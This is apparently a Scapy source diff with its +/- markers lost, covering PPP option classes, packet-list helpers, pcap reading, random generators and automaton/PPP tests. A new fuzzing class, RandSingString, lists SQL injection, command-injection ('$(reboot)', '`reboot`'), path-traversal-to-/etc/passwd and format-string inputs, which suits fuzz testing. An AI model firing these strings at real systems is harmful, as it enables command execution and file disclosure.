class PPP_metaclass(Packet_metaclass):
def __call__(self, _pkt=None, *args, **kargs):
cls = self
if _pkt and _pkt[0] == '\xff':
cls = HDLC
i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__)
i.__init__(_pkt=_pkt, *args, **kargs)
return i
class PPP(Packet):
__metaclass__ = PPP_metaclass
name = "PPP Link Layer"
fields_desc = [ ShortEnumField("proto", 0x0021, _PPP_proto) ]
@classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt and _pkt[0] == '\xff':
cls = HDLC
return cls
_PPP_conftypes = { 1:"Configure-Request",
2:"Configure-Ack",
@ -218,19 +212,6 @@ _PPP_conftypes = { 1:"Configure-Request",
15:"Reset-Ack",
}
class PPP_Option_metaclass(Packet_metaclass):
_known_options={}
def __call__(self, _pkt=None, *args, **kargs):
cls = self
if _pkt:
t = ord(_pkt[0])
cls = self._known_options.get(t,self)
i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__)
i.__init__(_pkt=_pkt, *args, **kargs)
return i
def _register(self, cls):
self._known_options[cls.fields_desc[0].default] = cls
### PPP IPCP stuff (RFC 1332)
@ -245,13 +226,7 @@ _PPP_ipcpopttypes = { 1:"IP-Addresses (Deprecated)",
132:"Secondary-NBNS-Address"}
class PPP_IPCP_Option_metaclass(PPP_Option_metaclass):
_known_options={}
class PPP_IPCP_Option(Packet):
__metaclass__=PPP_IPCP_Option_metaclass
name = "PPP IPCP Option"
fields_desc = [ ByteEnumField("type" , None , _PPP_ipcpopttypes),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
@ -259,55 +234,54 @@ class PPP_IPCP_Option(Packet):
def extract_padding(self, pay):
return "",pay
class PPP_IPCP_Specific_Option_metaclass(PPP_IPCP_Option_metaclass):
def __new__(cls, name, bases, dct):
newcls = super(PPP_IPCP_Specific_Option_metaclass, cls).__new__(cls, name, bases, dct)
PPP_IPCP_Option._register(newcls)
registered_options = {}
@classmethod
def register_variant(cls):
cls.registered_options[cls.type.default] = cls
@classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt:
o = ord(_pkt[0])
return cls.registered_options.get(o, cls)
return cls
class PPP_IPCP_Option_IPAddress(PPP_IPCP_Option):
__metaclass__=PPP_IPCP_Specific_Option_metaclass
name = "PPP IPCP Option: IP Address"
fields_desc = [ ByteEnumField("type" , 3 , _PPP_ipcpopttypes),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+6),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
IPField("data","0.0.0.0"),
ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ]
class PPP_IPCP_Option_DNS1(PPP_IPCP_Option):
__metaclass__=PPP_IPCP_Specific_Option_metaclass
name = "PPP IPCP Option: DNS1 Address"
fields_desc = [ ByteEnumField("type" , 129 , _PPP_ipcpopttypes),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+6),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
IPField("data","0.0.0.0"),
ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ]
class PPP_IPCP_Option_DNS2(PPP_IPCP_Option):
__metaclass__=PPP_IPCP_Specific_Option_metaclass
name = "PPP IPCP Option: DNS2 Address"
fields_desc = [ ByteEnumField("type" , 131 , _PPP_ipcpopttypes),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+6),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
IPField("data","0.0.0.0"),
ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ]
class PPP_IPCP_Option_NBNS1(PPP_IPCP_Option):
__metaclass__=PPP_IPCP_Specific_Option_metaclass
name = "PPP IPCP Option: NBNS1 Address"
fields_desc = [ ByteEnumField("type" , 130 , _PPP_ipcpopttypes),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+6),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
IPField("data","0.0.0.0"),
ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ]
class PPP_IPCP_Option_NBNS2(PPP_IPCP_Option):
__metaclass__=PPP_IPCP_Specific_Option_metaclass
name = "PPP IPCP Option: NBNS2 Address"
fields_desc = [ ByteEnumField("type" , 132 , _PPP_ipcpopttypes),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+6),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
IPField("data","0.0.0.0"),
ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ]
class PPP_IPCP(Packet):
fields_desc = [ ByteEnumField("code" , 1, _PPP_conftypes),
XByteField("id", 0 ),
@ -320,13 +294,7 @@ class PPP_IPCP(Packet):
_PPP_ecpopttypes = { 0:"OUI",
1:"DESE", }
class PPP_ECP_Option_metaclass(PPP_Option_metaclass):
_known_options={}
class PPP_ECP_Option(Packet):
__metaclass__=PPP_ECP_Option_metaclass
name = "PPP ECP Option"
fields_desc = [ ByteEnumField("type" , None , _PPP_ecpopttypes),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
@ -334,16 +302,20 @@ class PPP_ECP_Option(Packet):
def extract_padding(self, pay):
return "",pay
class PPP_ECP_Specific_Option_metaclass(PPP_ECP_Option_metaclass):
def __new__(cls, name, bases, dct):
newcls = super(PPP_ECP_Specific_Option_metaclass, cls).__new__(cls, name, bases, dct)
PPP_ECP_Option._register(newcls)
registered_options = {}
@classmethod
def register_variant(cls):
cls.registered_options[cls.type.default] = cls
@classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt:
o = ord(_pkt[0])
return cls.registered_options.get(o, cls)
return cls
class PPP_ECP_Option_OUI(PPP_ECP_Option):
__metaclass__=PPP_ECP_Specific_Option_metaclass
fields_desc = [ ByteEnumField("type" , 0 , _PPP_ecpopttypes),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+6),
StrFixedLenField("oui","",3),
ByteField("subtype",0),
StrLenField("data", "", length_from=lambda p:p.len-6) ]
@ -356,12 +328,14 @@ class PPP_ECP(Packet):
FieldLenField("len" , None, fmt="H", length_of="options", adjust=lambda p,x:x+4 ),
PacketListField("options", [], PPP_ECP_Option, length_from=lambda p:p.len-4,) ]
bind_layers( Ether, PPPoED, type=34915)
bind_layers( Ether, PPPoE, type=34916)
bind_layers( CookedLinux, PPPoED, proto=34915)
bind_layers( CookedLinux, PPPoE, proto=34916)
bind_layers( Ether, PPPoED, type=0x8863)
bind_layers( Ether, PPPoE, type=0x8864)
bind_layers( CookedLinux, PPPoED, proto=0x8863)
bind_layers( CookedLinux, PPPoE, proto=0x8864)
bind_layers( PPPoE, PPP, code=0)
bind_layers( HDLC, PPP, )
bind_layers( PPP, IP, proto=33)
bind_layers( PPP, PPP_IPCP, proto=0x8021)
bind_layers( PPP, PPP_ECP, proto=0x8053)
bind_layers( Ether, PPP_IPCP, type=0x8021)
bind_layers( Ether, PPP_ECP, type=0x8053)

View File

@ -689,11 +689,14 @@ Creates an EPS file describing a packet. If filename is not provided a temporary
return self.payload.haslayer(cls)
def getlayer(self, cls, nb=1, _track=None):
"""Return the nb^th layer that is an instance of cls."""
if type(cls) is int:
nb = cls+1
cls = None
if type(cls) is str and "." in cls:
ccls,fld = cls.split(".",1)
else:
ccls,fld = cls,None
if self.__class__ == cls or self.__class__.name == ccls:
if cls is None or self.__class__ == cls or self.__class__.name == ccls:
if nb == 1:
if fld is None:
return self
@ -716,6 +719,12 @@ Creates an EPS file describing a packet. If filename is not provided a temporary
nb = track[0]
return self.payload.getlayer(cls,nb,_track=_track)
def firstlayer(self):
q = self
while q.underlayer is not None:
q = q.underlayer
return q
def __getitem__(self, cls):
if type(cls) is slice:
lname = cls.start
@ -748,6 +757,9 @@ Creates an EPS file describing a packet. If filename is not provided a temporary
def route(self):
return (None,None,None)
def fragment(self, *args, **kargs):
return self.payload.fragment(*args, **kargs)
def display(self,*args,**kargs): # Deprecated. Use show()
@ -959,12 +971,12 @@ A side effect is that, to obtain "{" and "}" characters, you must use
c += "/"+pc
return c
class NoPayload(Packet,object):
class NoPayload(Packet):
def __new__(cls, *args, **kargs):
singl = cls.__dict__.get("__singl__")
if singl is None:
cls.__singl__ = singl = object.__new__(cls)
Packet.__init__(singl, *args, **kargs)
cls.__singl__ = singl = Packet.__new__(cls)
Packet.__init__(singl)
return singl
def __init__(self, *args, **kargs):
pass
@ -1025,6 +1037,8 @@ class NoPayload(Packet,object):
if _track is not None:
_track.append(nb)
return None
def fragment(self, *args, **kargs):
raise Scapy_Exception("cannot fragment this packet")
def show(self, indent=3, lvl="", label_lvl=""):
pass
def sprintf(self, fmt, relax):

View File

@ -7,6 +7,7 @@ import os
from config import conf
from base_classes import BasePacket,BasePacketList
from packet import Padding
from collections import defaultdict
from utils import do_graph,hexdump,make_table,make_lined_table,make_tex_table,get_temp_file
@ -406,6 +407,67 @@ lfilter: truth function to apply to each packet to decide whether it will be dis
if multi:
remain = filter(lambda x:not hasattr(x,"_answered"), remain)
return SndRcvList(sr),PacketList(remain)
def sessions(self, session_extractor=None):
if session_extractor is None:
def session_extractor(p):
if 'Ether' in p:
if 'IP' in p:
if 'TCP' in p:
sess = p.sprintf("TCP %IP.src%:%r,TCP.sport% > %IP.dst%:%r,TCP.dport%")
elif 'UDP' in p:
sess = p.sprintf("UDP %IP.src%:%r,UDP.sport% > %IP.dst%:%r,UDP.dport%")
elif 'ICMP' in p:
sess = p.sprintf("ICMP %IP.src% > %IP.dst% type=%r,ICMP.type% code=%r,ICMP.code% id=%ICMP.id%")
else:
sess = p.sprintf("IP %IP.src% > %IP.dst% proto=%IP.proto%")
elif 'ARP' in p:
sess = p.sprintf("ARP %ARP.psrc% > %ARP.pdst%")
else:
sess = p.sprintf("Ethernet type=%04xr,Ether.type%")
return sess
sessions = defaultdict(self.__class__)
for p in self.res:
sess = session_extractor(self._elt2pkt(p))
sessions[sess].append(p)
return dict(sessions)
def replace(self, *args, **kargs):
"""
lst.replace(<field>,[<oldvalue>,]<newvalue>)
lst.replace( (fld,[ov],nv),(fld,[ov,]nv),...)
if ov is None, all values are replaced
ex:
lst.replace( IP.src, "192.168.1.1", "10.0.0.1" )
lst.replace( IP.ttl, 64 )
lst.replace( (IP.ttl, 64), (TCP.sport, 666, 777), )
"""
delete_checksums = kargs.get("delete_checksums",False)
x=PacketList(name="Replaced %s" % self.listname)
if type(args[0]) is not tuple:
args = (args,)
for p in self.res:
p = self._elt2pkt(p)
copied = False
for scheme in args:
fld = scheme[0]
old = scheme[1] # not used if len(scheme) == 2
new = scheme[-1]
for o in fld.owners:
if o in p:
if len(scheme) == 2 or p[o].getfieldval(fld.name) == old:
if not copied:
p = p.copy()
if delete_checksums:
p.delete_checksums()
copied = True
setattr(p[o], fld.name, new)
x.append(p)
return x

View File

@ -12,6 +12,7 @@ from packet import Gen
from utils import warning,get_temp_file
import plist
from error import log_runtime,log_interactive
from base_classes import SetGen
#################
## Debug class ##
@ -30,7 +31,7 @@ class debug:
def sndrcv(pks, pkt, timeout = 2, inter = 0, verbose=None, chainCC=0, retry=0, multi=0):
def sndrcv(pks, pkt, timeout = None, inter = 0, verbose=None, chainCC=0, retry=0, multi=0):
if not isinstance(pkt, Gen):
pkt = SetGen(pkt)
@ -199,10 +200,12 @@ def sndrcv(pks, pkt, timeout = 2, inter = 0, verbose=None, chainCC=0, retry=0, m
if verbose:
print "\nReceived %i packets, got %i answers, remaining %i packets" % (nbrecv+len(ans), len(ans), notans)
return plist.SndRcvList(ans),plist.PacketList(remain,"Unanswered"),debug.recv
return plist.SndRcvList(ans),plist.PacketList(remain,"Unanswered")
def __gen_send(s, x, inter=0, loop=0, count=None, verbose=None, *args, **kargs):
if type(x) is str:
x = Raw(load=x)
if not isinstance(x, Gen):
x = SetGen(x)
if verbose is None:
@ -295,7 +298,7 @@ iface: listen answers only on the given interface"""
if not kargs.has_key("timeout"):
kargs["timeout"] = -1
s = conf.L3socket(filter=filter, iface=iface, nofilter=nofilter)
a,b,c=sndrcv(s,x,*args,**kargs)
a,b=sndrcv(s,x,*args,**kargs)
s.close()
return a,b
@ -313,7 +316,7 @@ iface: listen answers only on the given interface"""
if not kargs.has_key("timeout"):
kargs["timeout"] = -1
s=conf.L3socket(filter=filter, nofilter=nofilter, iface=iface)
a,b,c=sndrcv(s,x,*args,**kargs)
a,b=sndrcv(s,x,*args,**kargs)
s.close()
if len(a) > 0:
return a[0][1]
@ -336,7 +339,7 @@ iface: work only on the given interface"""
if iface is None and iface_hint is not None:
iface = conf.route.route(iface_hint)[0]
s = conf.L2socket(iface=iface, filter=filter, nofilter=nofilter, type=type)
a,b,c=sndrcv(s ,x,*args,**kargs)
a,b=sndrcv(s ,x,*args,**kargs)
s.close()
return a,b

View File

@ -27,7 +27,7 @@ class SuperSocket:
sx = str(x)
x.sent_time = time.time()
return self.outs.send(sx)
def recv(self, x):
def recv(self, x=MTU):
return conf.raw_layer(self.ins.recv(x))
def fileno(self):
return self.ins.fileno()
@ -40,10 +40,14 @@ class SuperSocket:
self.outs.close()
if self.ins and self.ins.fileno() != -1:
self.ins.close()
def bind_in(self, addr):
self.ins.bind(addr)
def bind_out(self, addr):
self.outs.bind(addr)
def sr(self, *args, **kargs):
return sndrcv(self, *args, **kargs)
def sr1(self, *args, **kargs):
a,b = sndrcv(self, *args, **kargs)
if len(a) > 0:
return a[0][1]
else:
return None
class L3RawSocket(SuperSocket):
desc = "Layer 3 using Raw sockets (PF_INET/SOCK_RAW)"
@ -51,7 +55,7 @@ class L3RawSocket(SuperSocket):
self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
def recv(self, x):
def recv(self, x=MTU):
return Ether(self.ins.recv(x)).payload
def send(self, x):
try:

View File

@ -485,7 +485,7 @@ class RawPcapReader:
return pkt
def read_packet(self):
def read_packet(self, size=MTU):
"""return a single packet read from the file
returns None when no more packets are available
@ -494,7 +494,7 @@ class RawPcapReader:
if len(hdr) < 16:
return None
sec,usec,caplen,wirelen = struct.unpack(self.endian+"IIII", hdr)
s = self.f.read(caplen)
s = self.f.read(caplen)[:MTU]
return s,(sec,usec,wirelen) # caplen = len(s)
@ -520,10 +520,10 @@ class RawPcapReader:
res.append(p)
return res
def recv(self, size):
def recv(self, size=MTU):
""" Emulate a socket
"""
return self.read_packet()[0]
return self.read_packet(size)[0]
def fileno(self):
return self.f.fileno()
@ -541,8 +541,8 @@ class PcapReader(RawPcapReader):
except KeyError:
warning("PcapReader: unknown LL type [%i]/[%#x]. Using Raw packets" % (self.linktype,self.linktype))
self.LLcls = conf.raw_layer
def read_packet(self):
rp = RawPcapReader.read_packet(self)
def read_packet(self, size=MTU):
rp = RawPcapReader.read_packet(self,size)
if rp is None:
return None
s,(sec,usec,wirelen) = rp
@ -561,8 +561,8 @@ class PcapReader(RawPcapReader):
res = RawPcapReader.read_all(self, count)
import plist
return plist.PacketList(res,name = os.path.basename(self.filename))
def recv(self, size):
return self.read_packet()
def recv(self, size=MTU):
return self.read_packet(size)
@ -667,7 +667,7 @@ class PcapWriter(RawPcapWriter):
RawPcapWriter._write_packet(self, s, sec, usec, caplen, caplen)
re_extract_hexcap = re.compile("^(0x[0-9a-fA-F]{2,}[ :\t]|(0x)?[0-9a-fA-F]{2,}:|(0x)?[0-9a-fA-F]{3,}[: \t]|) *(([0-9a-fA-F]{2} {,2}){,16})")
re_extract_hexcap = re.compile("^((0x)?[0-9a-fA-F]{2,}[ :\t]{,3}|) *(([0-9a-fA-F]{2} {,2}){,16})")
def import_hexcap():
p = ""
@ -675,7 +675,7 @@ def import_hexcap():
while 1:
l = raw_input().strip()
try:
p += re_extract_hexcap.match(l).groups()[3]
p += re_extract_hexcap.match(l).groups()[2]
except:
warning("Parsing error during hexcap")
continue
@ -683,10 +683,7 @@ def import_hexcap():
pass
p = p.replace(" ","")
p2=""
for i in range(len(p)/2):
p2 += chr(int(p[2*i:2*i+2],16))
return p2
return p.decode("hex")

View File

@ -3,7 +3,7 @@
## Copyright (C) Philippe Biondi <phil@secdev.org>
## This program is published under a GPLv2 license
import random,time
import random,time,math
from base_classes import Net
from utils import corrupt_bits,corrupt_bytes
@ -12,7 +12,7 @@ from utils import corrupt_bits,corrupt_bytes
####################
class RandomSequence:
class RandomEnumeration:
"""iterate through a sequence in random order.
When all the values have been drawn, if forever=1, the drawing is done again.
If renewkeys=0, the draw will be in the same order, guaranteeing that the same
@ -75,13 +75,13 @@ class RandField(VolatileValue):
pass
class RandNum(RandField):
"""Instances evaluate to random integers in selected range"""
min = 0
max = 0
def __init__(self, min, max):
self.min = min
self.max = max
def _fix(self):
# XXX: replace with sth that guarantee unicity
return random.randrange(self.min, self.max+1)
class RandNumGamma(RandField):
@ -105,35 +105,76 @@ class RandNumExpo(RandField):
def _fix(self):
return self.base+int(round(random.expovariate(self.lambd)))
class RandSeq(RandNum):
class RandEnum(RandNum):
"""Instances evaluate to integer sampling without replacement from the given interval"""
def __init__(self, min, max):
self.seq = RandomSequence(min,max)
self.seq = RandomEnumeration(min,max)
def _fix(self):
return self.seq.next()
class RandByte(RandSeq):
class RandByte(RandNum):
def __init__(self):
RandSeq.__init__(self, 0, 2L**8-1)
RandNum.__init__(self, 0, 2L**8-1)
class RandShort(RandSeq):
class RandSByte(RandNum):
def __init__(self):
RandSeq.__init__(self, 0, 2L**16-1)
RandNum.__init__(self, -2L**7, 2L**7-1)
class RandInt(RandSeq):
class RandShort(RandNum):
def __init__(self):
RandSeq.__init__(self, 0, 2L**32-1)
RandNum.__init__(self, 0, 2L**16-1)
class RandSInt(RandSeq):
class RandSShort(RandNum):
def __init__(self):
RandSeq.__init__(self, -2L**31, 2L**31-1)
RandNum.__init__(self, -2L**15, 2L**15-1)
class RandLong(RandSeq):
class RandInt(RandNum):
def __init__(self):
RandSeq.__init__(self, 0, 2L**64-1)
RandNum.__init__(self, 0, 2L**32-1)
class RandSLong(RandSeq):
class RandSInt(RandNum):
def __init__(self):
RandSeq.__init__(self, -2L**63, 2L**63-1)
RandNum.__init__(self, -2L**31, 2L**31-1)
class RandLong(RandNum):
def __init__(self):
RandNum.__init__(self, 0, 2L**64-1)
class RandSLong(RandNum):
def __init__(self):
RandNum.__init__(self, -2L**63, 2L**63-1)
class RandEnumByte(RandEnum):
def __init__(self):
RandEnum.__init__(self, 0, 2L**8-1)
class RandEnumSByte(RandEnum):
def __init__(self):
RandEnum.__init__(self, -2L**7, 2L**7-1)
class RandEnumShort(RandEnum):
def __init__(self):
RandEnum.__init__(self, 0, 2L**16-1)
class RandEnumSShort(RandEnum):
def __init__(self):
RandEnum.__init__(self, -2L**15, 2L**15-1)
class RandEnumInt(RandEnum):
def __init__(self):
RandEnum.__init__(self, 0, 2L**32-1)
class RandEnumSInt(RandEnum):
def __init__(self):
RandEnum.__init__(self, -2L**31, 2L**31-1)
class RandEnumLong(RandEnum):
def __init__(self):
RandEnum.__init__(self, 0, 2L**64-1)
class RandEnumSLong(RandEnum):
def __init__(self):
RandEnum.__init__(self, -2L**63, 2L**63-1)
class RandChoice(RandField):
def __init__(self, *args):
@ -144,9 +185,11 @@ class RandChoice(RandField):
return random.choice(self._choice)
class RandString(RandField):
def __init__(self, size, chars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"):
self.chars = chars
def __init__(self, size=None, chars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"):
if size is None:
size = RandNumExpo(0.01)
self.size = size
self.chars = chars
def _fix(self):
s = ""
for i in range(self.size):
@ -154,7 +197,7 @@ class RandString(RandField):
return s
class RandBin(RandString):
def __init__(self, size):
def __init__(self, size=None):
RandString.__init__(self, size, "".join(map(chr,range(256))))
@ -378,11 +421,139 @@ class RandRegExp(RandField):
return RandRegExp.stack_fix(stack[1:], index)
def __repr__(self):
return "<%s [%r]>" % (self.__class__.__name__, self._regexp)
class RandSingularity(RandChoice):
pass
class RandSingNum(RandSingularity):
@staticmethod
def make_power_of_two(end):
sign = 1
if end == 0:
end = 1
if end < 0:
end = -end
sign = -1
end_n = int(math.log(end)/math.log(2))+1
return set([sign*2**i for i in range(end_n)])
def __init__(self, mn, mx):
sing = set([0, mn, mx, int((mn+mx)/2)])
sing |= self.make_power_of_two(mn)
sing |= self.make_power_of_two(mx)
for i in sing.copy():
sing.add(i+1)
sing.add(i-1)
for i in sing.copy():
if not mn <= i <= mx:
sing.remove(i)
self._choice = list(sing)
class RandSingByte(RandSingNum):
def __init__(self):
RandSingNum.__init__(self, 0, 2L**8-1)
class RandSingSByte(RandSingNum):
def __init__(self):
RandSingNum.__init__(self, -2L**7, 2L**7-1)
class RandSingShort(RandSingNum):
def __init__(self):
RandSingNum.__init__(self, 0, 2L**16-1)
class RandSingSShort(RandSingNum):
def __init__(self):
RandSingNum.__init__(self, -2L**15, 2L**15-1)
class RandSingInt(RandSingNum):
def __init__(self):
RandSingNum.__init__(self, 0, 2L**32-1)
class RandSingSInt(RandSingNum):
def __init__(self):
RandSingNum.__init__(self, -2L**31, 2L**31-1)
class RandSingLong(RandSingNum):
def __init__(self):
RandSingNum.__init__(self, 0, 2L**64-1)
class RandSingSLong(RandSingNum):
def __init__(self):
RandSingNum.__init__(self, -2L**63, 2L**63-1)
class RandSingString(RandSingularity):
def __init__(self):
self._choice = [ "",
"%x",
"%%",
"%s",
"%i",
"%n",
"%x%x%x%x%x%x%x%x%x",
"%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s",
"%",
"%%%",
"A"*4096,
"\x00"*4096,
"\xff"*4096,
"\x7f"*4096,
"\x80"*4096,
" "*4096,
"\\"*4096,
"("*4096,
"../"*1024,
"/"*1024,
"${HOME}"*512,
" or 1=1 --",
"' or 1=1 --",
'" or 1=1 --',
" or 1=1; #",
"' or 1=1; #",
'" or 1=1; #',
";reboot;",
"$(reboot)",
"`reboot`",
"index.php%00",
"\x00",
"%00",
"\\",
"../../../../../../../../../../../../../../../../../etc/passwd",
"%2e%2e%2f" * 20 + "etc/passwd",
"%252e%252e%252f" * 20 + "boot.ini",
"..%c0%af" * 20 + "etc/passwd",
"..%c0%af" * 20 + "boot.ini",
"//etc/passwd",
r"..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini",
"AUX:",
"CLOCK$",
"COM:",
"CON:",
"LPT:",
"LST:",
"NUL:",
"CON:",
r"C:\CON\CON",
r"C:\boot.ini",
r"\\myserver\share",
"foo.exe:",
"foo.exe\\", ]
class RandPool(RandField):
def __init__(self, *args):
"""Each parameter is a volatile object or a couple (volatile object, weight)"""
pool = []
for p in args:
w = 1
if type(p) is tuple:
p,w = p
pool += [p]*w
self._pool = pool
def _fix(self):
r = random.choice(self._pool)
return r._fix()
# Automatic timestamp
class AutoTime(VolatileValue):

View File

@ -9,7 +9,7 @@ import os
EZIP_HEADER="""#! /bin/sh
PYTHONPATH=$0/%s exec python -m scapy
PYTHONPATH=$0/%s exec python -m scapy.__init__
"""
def make_ezipfile(base_name, base_dir, verbose=0, dry_run=0):

View File

@ -188,11 +188,10 @@ assert( _ == "FOO\x01\x02\x03\x04" )
############
############
+ Tests on NewDefaultValues metaclass
+ Tests on default value changes mechanism
= Creation of an IPv3 class from IP class with different default values
class IPv3(IP):
__metaclass__ = NewDefaultValues
version = 3
ttl = 32
@ -896,8 +895,238 @@ class ATMT6(Automaton):
a=ATMT6()
a.run()
assert( _ == 'Mercury' )
a.restart()
a.run()
assert( _ == 'Mercury' )
= Automaton test io event
~ automaton
class ATMT7(Automaton):
@ATMT.state(initial=1)
def BEGIN(self):
self.res = "S"
@ATMT.ioevent(BEGIN, name="tst")
def tr1(self, fd):
self.res += fd.recv()
raise self.NEXT_STATE()
@ATMT.state()
def NEXT_STATE(self):
self.oi.tst.send("ur")
@ATMT.ioevent(NEXT_STATE, name="tst")
def tr2(self, fd):
self.res += fd.recv()
raise self.END()
@ATMT.state(final=1)
def END(self):
self.res += "n"
return self.res
a=ATMT7()
a.run(wait=False)
a.io.tst.send("at")
a.io.tst.recv()
a.io.tst.send(_)
a.run()
assert( _ == "Saturn" )
a.restart()
a.run(wait=False)
a.io.tst.send("at")
a.io.tst.recv()
a.io.tst.send(_)
a.run()
assert( _ == "Saturn" )
= Automaton test io event from external fd
~ automaton
class ATMT8(Automaton):
@ATMT.state(initial=1)
def BEGIN(self):
self.res = "U"
@ATMT.ioevent(BEGIN, name="extfd")
def tr1(self, fd):
self.res += fd.read(2)
raise self.NEXT_STATE()
@ATMT.state()
def NEXT_STATE(self):
pass
@ATMT.ioevent(NEXT_STATE, name="extfd")
def tr2(self, fd):
self.res += fd.read(2)
raise self.END()
@ATMT.state(final=1)
def END(self):
self.res += "s"
return self.res
r,w = os.pipe()
a=ATMT8(external_fd={"extfd":r})
a.run(wait=False)
os.write(w,"ra")
os.write(w,"nu")
a.run()
assert( _ == "Uranus" )
a.restart()
a.run(wait=False)
os.write(w,"ra")
os.write(w,"nu")
a.run()
assert( _ == "Uranus" )
= Automaton test interception_points, and restart
~ automaton
class ATMT9(Automaton):
def my_send(self, x):
self.io.loop.send(x)
@ATMT.state(initial=1)
def BEGIN(self):
self.res = "V"
self.send(Raw("ENU"))
@ATMT.ioevent(BEGIN, name="loop")
def received_sth(self, fd):
self.res += fd.recv().load
raise self.END()
@ATMT.state(final=1)
def END(self):
self.res += "s"
return self.res
a=ATMT9(debug=5)
a.run()
assert( _ == "VENUs" )
a.restart()
a.run()
assert( _ == "VENUs" )
a.restart()
a.BEGIN.intercepts()
while True:
try:
x = a.run()
except Automaton.InterceptionPoint,p:
a.accept_packet(Raw(p.packet.load.lower()), wait=False)
else:
break
x
assert( _ == "Venus" )
+ Test IP options
= IP options individual assembly
~ IP options
str(IPOption())
assert(_ == '\x00\x02')
str(IPOption_NOP())
assert(_ == '\x01')
str(IPOption_EOL())
assert(_ == '\x00')
str(IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"]))
assert(_ == '\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08')
= IP options individual dissection
~ IP options
IPOption("\x00")
assert(_.option == 0 and isinstance(_, IPOption_EOL))
IPOption("\x01")
assert(_.option == 1 and isinstance(_, IPOption_NOP))
lsrr='\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08'
p=IPOption_LSRR(lsrr)
p
q=IPOption(lsrr)
q
assert(p == q)
= IP assembly and dissection with options
~ IP options
IP(src="9.10.11.12",dst="13.14.15.16",options=IPOption_SDBM(addresses=["1.2.3.4","5.6.7.8"]))/TCP()
str(_)
assert(_ == 'H\x00\x004\x00\x01\x00\x00@\x06\xa2q\t\n\x0b\x0c\r\x0e\x0f\x10\x95\n\x01\x02\x03\x04\x05\x06\x07\x08\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00')
q=IP(_)
q
assert( isinstance(q.options[0],IPOption_SDBM) )
assert( q[IPOption_SDBM].addresses[1] == "5.6.7.8" )
IP(src="9.10.11.12", dst="13.14.15.16", options=[IPOption_NOP(),IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"]),IPOption_Security(transmission_control_code="XYZ")])/TCP()
str(_)
assert(_ == 'K\x00\x00@\x00\x01\x00\x00@\x06\xf3\x83\t\n\x0b\x0c\r\x0e\x0f\x10\x01\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08\x82\x0b\x00\x00\x00\x00\x00\x00XYZ\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00')
IP(_)
q=_
assert(q[IPOption_LSRR].get_current_router() == "1.2.3.4")
assert(q[IPOption_Security].transmission_control_code == "XYZ")
assert(q[TCP].flags == 2)
+ Test PPP
= PPP/HDLC
~ ppp hdlc
HDLC()/PPP()/PPP_IPCP()
str(_)
s=_
assert(s == '\xff\x03\x80!\x01\x00\x00\x04')
PPP(s)
p=_
assert(HDLC in p)
assert(p[HDLC].control==3)
assert(p[PPP].proto==0x8021)
PPP(s[2:])
q=_
assert(HDLC not in q)
assert(q[PPP].proto==0x8021)
= PPP IPCP
~ ppp ipcp
PPP('\x80!\x01\x01\x00\x10\x03\x06\xc0\xa8\x01\x01\x02\x06\x00-\x0f\x01')
p=_
assert(p[PPP_IPCP].code == 1)
assert(p[PPP_IPCP_Option_IPAddress].data=="192.168.1.1")
assert(p[PPP_IPCP_Option].data == '\x00-\x0f\x01')
p=PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")])
str(p)
assert(_ == '\x80!\x01\x00\x00\x16\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08\x84\x06\t\n\x0b\x0c')
PPP(_)
q=_
assert(str(p) == str(q))
assert(PPP(str(q))==q)
